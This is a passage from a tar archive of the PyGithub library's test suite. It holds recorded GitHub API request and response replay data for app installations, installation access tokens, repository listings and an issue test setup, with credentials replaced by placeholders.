('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D58E:1978:151E09E:1565462:648185AC')] [{"id":36541767,"account":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/36541767/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/36541767","app_id":319953,"app_slug":"publish-test-results","target_id":44700269,"target_type":"User","permissions":{"checks":"write","issues":"read","contents":"read","metadata":"read","pull_requests":"write"},"events":[],"created_at":"2023-04-17T16:18:05.000Z","updated_at":"2023-06-08T07:38:12.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Installation.testGetGithubForInstallation.txt0000644000175100001660000003037014756101563027175 0ustar00runnerdockerhttp GET api.github.com None /app/installations?per_page=40 {'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python-Test'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 19 Jun 2023 06:59:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b272db57fded7547562b4a357681c6c84054e8fb5169b32206e833bbe7f542e5"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B368:A85B:CEF8FE3:D136340:648FFCE5')] [{"id":36541767,"account":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/36541767/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/36541767","app_id":319953,"app_slug":"publish-test-results","target_id":44700269,"target_type":"User","permissions":{"checks":"write","issues":"read","contents":"read","metadata":"read","pull_requests":"write"},"events":[],"created_at":"2023-04-17T16:18:05.000Z","updated_at":"2023-06-08T07:38:12.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null}] http POST api.github.com None /app/installations/36541767/access_tokens {'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python-Test', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('Server', 'GitHub.com'), ('Date', 'Mon, 19 Jun 2023 06:59:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '231'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"056522667824941d4f276f2d2051ea5c4fd160bd6be7da7765aa63926fc99593"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B370:F0F6:D6213DB:D85E7E7:648FFCE6')] {"token":"private_token_removed","expires_at":"2023-06-19T07:59:50Z","permissions":{"metadata":"read"},"repository_selection":"selected"} http GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python-Test'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 19 Jun 2023 06:59:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f8d860d9f470388781718161c81385fc94b9326916fb10534be0a0942e0a8ee8"'), ('Last-Modified', 'Mon, 19 Jun 2023 02:15:49 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1687161558'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B37A:102E8:CDC2411:CFFF826:648FFCE6')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-19T02:15:49Z","pushed_at":"2023-06-18T23:07:29Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":14088,"stargazers_count":6075,"watchers_count":6075,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1641,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":247,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1641,"open_issues":247,"watchers":6075,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":false},"temp_clone_token":"","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1641,"subscribers_count":115} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Installation.testGetRepos.txt0000644000175100001660000003157714756101563024024 0ustar00runnerdockerhttps POST api.github.com None /app/installations/36541767/access_tokens {'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 08 Jun 2023 07:39:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '231'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"783fdaa90e16f1fd718449dd5b21c99024d0821e33012e2610a8446495847795"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D590:F2E4:13B6DDD:13FE18A:648185AC')] {"token":"private_token_removed","expires_at":"2023-06-08T08:39:25Z","permissions":{"metadata":"read"},"repository_selection":"selected"} https GET api.github.com None /installation/repositories {'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 08 Jun 2023 07:39:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7feb4668c0366b8d93e1fff0a4795d4cd0279f0d185056839c07521f2740640b"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1686213555'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D594:1C3A:14AB318:14F270C:648185AD')] {"total_count":2,"repository_selection":"selected","repositories":[{"id":418546277,"node_id":"R_kgDOGPKCZQ","name":"sandbox","full_name":"EnricoMi/sandbox","private":true,"owner":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"html_url":"https://github.com/EnricoMi/sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/EnricoMi/sandbox","forks_url":"https://api.github.com/repos/EnricoMi/sandbox/forks","keys_url":"https://api.github.com/repos/EnricoMi/sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnricoMi/sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnricoMi/sandbox/teams","hooks_url":"https://api.github.com/repos/EnricoMi/sandbox/hooks","issue_events_url":"https://api.github.com/repos/EnricoMi/sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/EnricoMi/sandbox/events","assignees_url":"https://api.github.com/repos/EnricoMi/sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/EnricoMi/sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/EnricoMi/sandbox/tags","blobs_url":"https://api.github.com/repos/EnricoMi/sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnricoMi/sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnricoMi/sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnricoMi/sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnricoMi/sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/EnricoMi/sandbox/languages","stargazers_url":"https://api.github.com/repos/EnricoMi/sandbox/stargazers","contributors_url":"https://api.github.com/repos/EnricoMi/sandbox/contributors","subscribers_url":"https://api.github.com/repos/EnricoMi/sandbox/subscribers","subscription_url":"https://api.github.com/repos/EnricoMi/sandbox/subscription","commits_url":"https://api.github.com/repos/EnricoMi/sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnricoMi/sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnricoMi/sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnricoMi/sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnricoMi/sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/EnricoMi/sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnricoMi/sandbox/merges","archive_url":"https://api.github.com/repos/EnricoMi/sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnricoMi/sandbox/downloads","issues_url":"https://api.github.com/repos/EnricoMi/sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/EnricoMi/sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/EnricoMi/sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/EnricoMi/sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnricoMi/sandbox/labels{/name}","releases_url":"https://api.github.com/repos/EnricoMi/sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/EnricoMi/sandbox/deployments","created_at":"2021-10-18T14:50:05Z","updated_at":"2022-03-14T20:59:56Z","pushed_at":"2023-05-11T13:00:52Z","git_url":"git://github.com/EnricoMi/sandbox.git","ssh_url":"git@github.com:EnricoMi/sandbox.git","clone_url":"https://github.com/EnricoMi/sandbox.git","svn_url":"https://github.com/EnricoMi/sandbox","homepage":null,"size":4616,"stargazers_count":0,"watchers_count":0,"language":"HTML","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"private","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":false}},{"id":224264786,"node_id":"MDEwOlJlcG9zaXRvcnkyMjQyNjQ3ODY=","name":"python","full_name":"EnricoMi/python","private":false,"owner":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"html_url":"https://github.com/EnricoMi/python","description":"Miscellaneous Python code","fork":false,"url":"https://api.github.com/repos/EnricoMi/python","forks_url":"https://api.github.com/repos/EnricoMi/python/forks","keys_url":"https://api.github.com/repos/EnricoMi/python/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnricoMi/python/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnricoMi/python/teams","hooks_url":"https://api.github.com/repos/EnricoMi/python/hooks","issue_events_url":"https://api.github.com/repos/EnricoMi/python/issues/events{/number}","events_url":"https://api.github.com/repos/EnricoMi/python/events","assignees_url":"https://api.github.com/repos/EnricoMi/python/assignees{/user}","branches_url":"https://api.github.com/repos/EnricoMi/python/branches{/branch}","tags_url":"https://api.github.com/repos/EnricoMi/python/tags","blobs_url":"https://api.github.com/repos/EnricoMi/python/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnricoMi/python/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnricoMi/python/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnricoMi/python/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnricoMi/python/statuses/{sha}","languages_url":"https://api.github.com/repos/EnricoMi/python/languages","stargazers_url":"https://api.github.com/repos/EnricoMi/python/stargazers","contributors_url":"https://api.github.com/repos/EnricoMi/python/contributors","subscribers_url":"https://api.github.com/repos/EnricoMi/python/subscribers","subscription_url":"https://api.github.com/repos/EnricoMi/python/subscription","commits_url":"https://api.github.com/repos/EnricoMi/python/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnricoMi/python/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnricoMi/python/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnricoMi/python/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnricoMi/python/contents/{+path}","compare_url":"https://api.github.com/repos/EnricoMi/python/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnricoMi/python/merges","archive_url":"https://api.github.com/repos/EnricoMi/python/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnricoMi/python/downloads","issues_url":"https://api.github.com/repos/EnricoMi/python/issues{/number}","pulls_url":"https://api.github.com/repos/EnricoMi/python/pulls{/number}","milestones_url":"https://api.github.com/repos/EnricoMi/python/milestones{/number}","notifications_url":"https://api.github.com/repos/EnricoMi/python/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnricoMi/python/labels{/name}","releases_url":"https://api.github.com/repos/EnricoMi/python/releases{/id}","deployments_url":"https://api.github.com/repos/EnricoMi/python/deployments","created_at":"2019-11-26T18:58:06Z","updated_at":"2021-12-04T16:06:43Z","pushed_at":"2023-05-30T07:57:26Z","git_url":"git://github.com/EnricoMi/python.git","ssh_url":"git@github.com:EnricoMi/python.git","clone_url":"https://github.com/EnricoMi/python.git","svn_url":"https://github.com/EnricoMi/python","homepage":null,"size":276,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":12,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":12,"watchers":0,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":false}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.setUp.txt0000644000175100001660000004150114756101563021107 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 19:01:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f5cc8602b1810af03dbb6c6362f001a1e6360ddab7e5169b030d5cb0e172da51"'), ('Last-Modified', 'Fri, 03 Jan 2025 18:50:01 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1735934464'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'CF34:1146F1:1D6AAF77:1E323FF0:677833F0')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 